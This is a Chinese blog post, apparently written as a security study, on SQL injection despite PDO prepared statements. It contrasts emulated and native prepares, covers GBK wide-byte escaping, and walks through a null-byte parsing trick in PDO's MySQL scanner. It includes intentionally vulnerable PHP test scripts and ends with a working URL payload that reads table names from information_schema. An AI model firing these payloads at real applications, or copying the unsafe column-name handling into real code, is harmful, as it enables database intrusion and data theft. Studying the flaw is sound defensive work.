预编译下的SQL注入以及思考

11次阅读
没有评论

共计 4293 个字符,预计需要花费 11 分钟才能阅读完成。

参考:
预编译与 sql 注入
# 关于预编译与宽字节注入的再思考
# A Novel Technique for SQL Injection in PDO’s Prepared Statements

每次学习 SQL 注入都说 PDO 预编译可以有效防止 SQL 注入,那遇到预编译我们就真的没办法了吗?

什么是预编译

预编译(Prepared Statement,也被称为预处理语句) 是数据库的一种高效且安全的查询执行机制。

预编译分为两个阶段

  • 准备阶段 (Prepare):应用程序将带有“占位符”(通常是 ?)的 SQL 模板发送给数据库。

    • 示例: SELECT * FROM users WHERE username = ?;

    • 数据库会对这个模板进行语法分析和编译,确定查询路径,并将其缓存起来。

  • 执行阶段 (Execute):应用程序只需要把实际的参数值传给数据库。

    • 示例: 传入 "admin"

    • 数据库直接把参数填入之前编译好的模板中执行,不再重复编译。

理论上来说这样的是将用户输入的值作为一个整体传入,不会再产生歧义。这样就确实应该很安全了吧?

但是有很多地方是不能使用预编译的,为什么呢?这个我们后面再说。现在我们先来探究预编译下的 SQL 注入。

宽字节注入与预编译

之前我们应该学过宽字节注入究其原因就是服务端编码设置不当(通常为把服务端编码设置为 GBK)。
由于 addslash 函数会在单引号前添加一个反斜杠。若黑客输入一个特定的字符(一般是 %df)。而反斜杠的 URL 编码是 %5c, 此时服务器会把 %df 与 %5c 结合成一个字符,从而导致单引号逃逸。

后面我们讲到一种“假”预编译就是利用了这个原理。

虚假的预编译?

先开启日志

show global variables like '%general_log%'; 
set global general_log = 'on';

我们先来看一段代码

<?php  
try {$pdo = new PDO('mysql:host=localhost;dbname=testsql', 'root', 'root');  
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);  
    $pdo->query("SET NAMES gbk");  

    $stmt = $pdo->prepare("SELECT * FROM users where username = :input");  
    $stmt->bindParam(':input', $input);  
    $input = $_GET['input'];  
    $a = $stmt->execute();  
    $results = $stmt->fetchAll(PDO::FETCH_ASSOC);  
    var_dump($results);  

} catch (PDOException $e) {echo "数据库执行出错:" . $e->getMessage();  
}  
?>

先来执行一段正常的查询
预编译下的 SQL 注入以及思考
然后我们来看看日志
预编译下的 SQL 注入以及思考
你会发现,这和平常的 SQL 语句也没区别。哪里有预编译?

那我们加个单引号试试呢?

预编译下的 SQL 注入以及思考
这时候你会发现,单引号被转义了。
所以一般我们把这个称作虚假的预编译,这个就有点和 addslash 函数类似。
刚刚我们说到有些地方不能使用预编译就是这个原因
例如 order by,你在加引号和不加引号的情况下查询结果是完全不同的,前者是当成字符串,后者才是当成列名查询
预编译下的 SQL 注入以及思考
加引号
预编译下的 SQL 注入以及思考
不加引号

这时你就会发现数据库报错了
预编译下的 SQL 注入以及思考

既然这是虚假的预编译,那什么才是真正的预编译

真正的预编译

<?php  
try {$pdo = new PDO('mysql:host=localhost;dbname=testsql', 'root', 'root');  
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);  
    $pdo -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false);  #变化
    $pdo->query("SET NAMES gbk");  
    $stmt = $pdo->prepare("SELECT * FROM users where username = :input");  
    $stmt->bindParam(':input', $input);  
    $input = $_GET['input'];  
    $a = $stmt->execute();  
    $results = $stmt->fetchAll(PDO::FETCH_ASSOC);  
    var_dump($results);  

} catch (PDOException $e) {echo "数据库执行出错:" . $e->getMessage();  
}  
?>

我们可以看到就多了一行代码

$pdo -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

这行代码是干什么的?

这个选项用来配置 PDO 是否使用模拟预编译,默认是 true,因此默认情况下 PDO 采用的是模拟预编译模式,设置成 false 以后,才会使用真正的预编译。开启这个选项主要是用来兼容部分不支持预编译的数据库(如 sqllite 与低版本 MySQL),对于模拟预编译,会由客户端程序内部参数绑定这一过程(而不是数据库),内部 prepare 之后再将拼接的 sql 语句发给数据库执行。

此时我们再来试试看传入一个 test

预编译下的 SQL 注入以及思考

你会发现这个时候的 SQL 查询和之前有很大区别,
先连接 -> 然后准备语句 -> 用问号? 占位 -> 接着用输入替换问号 -> 执行语句

而且我们输入的数据也使用了十六进制编码(这里好像会因为 MySQL 版本变化,笔者这里使用的是 8.0)

既然语句再查询发生之前就已经写死了,那么也肯定没有歧义或者说是注入了。

一种虚假预编译的特殊利用?

前面我们说到,用户在预处理语句中经常需要输入列名和表名。由于这些名称无法绑定,开发人员只能将它们直接插入查询语句中。

那么假设我们再实战中遇到了不是 gbk 编码的虚假预编译又该怎么办?
如果列名或者表名可控的话我们还有一种办法
使用空白字符截断

我们来看这样一段代码

<?php  
$pdo = new PDO('mysql:host=localhost;dbname=testsql', 'root', 'root');  
$col = '`' . str_replace('`', '``', $_GET['col']) . '`';  
$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");  
$stmt->execute([$_GET['name']]);  
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);  
var_dump($data);

我们来看看 PDO 在默认情况下对空白字符的处理

int pdo_mysql_scanner(pdo_scanner_t *s)
{
    const char *cursor = s->cur;

    s->tok = cursor;
    /*!re2c
    BINDCHR     = [:][a-zA-Z0-9_]+;
    QUESTION    = [?];
    COMMENTS    = ("/*"([^*]+|[*]+[^/*])*[*]*"*/"|(("--"[ tvfr])|[#]).*);
    SPECIALS    = [:?"'`/#-];
    MULTICHAR   = ([:]{2,}|[?]{2,});
    ANYNOEOF    = [01-377];
    */

    /*!re2c
        (["]((["]["])|([\]ANYNOEOF)|ANYNOEOF["\])*["]) {RET(PDO_PARSER_TEXT); }
        (['](([']['])|([\]ANYNOEOF)|ANYNOEOF['\])*[']) {RET(PDO_PARSER_TEXT); }
        ([`]([`][`]|ANYNOEOF[`])*[`])          {RET(PDO_PARSER_TEXT); }
        MULTICHAR                               {RET(PDO_PARSER_TEXT); }
        BINDCHR                                 {RET(PDO_PARSER_BIND); }
        QUESTION                                {RET(PDO_PARSER_BIND_POS); }
        SPECIALS                                {SKIP_ONE(PDO_PARSER_TEXT); }
        COMMENTS                                {RET(PDO_PARSER_TEXT); }
        (ANYNOEOFSPECIALS)+                    {RET(PDO_PARSER_TEXT); }
    */
}

其中 ANYNOEOF 定义为[01-377]。那么如果我们传递一个空字节会发生什么?

预编译下的 SQL 注入以及思考
看起来只是一个很普通的报错是吧
那,我们再加个问号呢?
预编译下的 SQL 注入以及思考
数据库执行出错: SQLSTATE[HY093]: Invalid parameter number: number of bound variables does not match number of tokens
这个报错就很有意思了
PDO 解析器首先会尝试将其解析 ? 为列名 / 表名。当遇到空字节时,由于其解析规则,解析过程会回溯。因此,反引号会被忽略 SPECIALS,并被忽略SKIP_ONE(PDO_PARSER_TEXT)。这样,PDO 解析器会将第一个反引号视为? 绑定参数。然后,PDO 解析器会继续将其视为 name = ? 第二个绑定参数,并抛出错误,因为我们只传递了一个参数,而解析器期望两个。

幸运的是,这个问题很容易解决,只要在问号后面添加注释?#——PDO 就会在解析完绑定参数后停止解析。(原文)
我自己尝试发现 #并不生效,自己试了一下后发现 -- 符号可以起作用,那就进一步试试吧
http://127.0.0.1/test.php?name=x%23&col=?--%00
预编译下的 SQL 注入以及思考
但是 MySQL 中不允许出现 %00 这种 NULL 字节,那我们该如何绕过?
很简单,用一个分号结束语句
http://127.0.0.1/test.php?name=x;%23&col=?–%00 return 数据库执行出错: SQLSTATE[42S22]: Column not found: 1054 Unknown column ”x’ in ‘field list’`

此时的 SQL 语句是这样的

SELECT `'x`;#'#` FROM fruit WHERE name = ?

这时还剩下最后一个问题,列名’x 显然不存在,这个时候之前学的 SQL 注入绕过技巧就可以排上用场了。我们建立起一个子查询让 table_name 为 'x 即可
最后的 payload

http://127.0.0.1/test.php?name=x`%20FROM%20(SELECT%20table_name%20AS%20`%27x`%20from%20information_schema.tables)y;%23&col=?--%00

预编译下的 SQL 注入以及思考

正文完
 0
Rycarl
版权声明:本站原创文章,由 Rycarl 于2026-03-18发表,共计4293字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)
验证码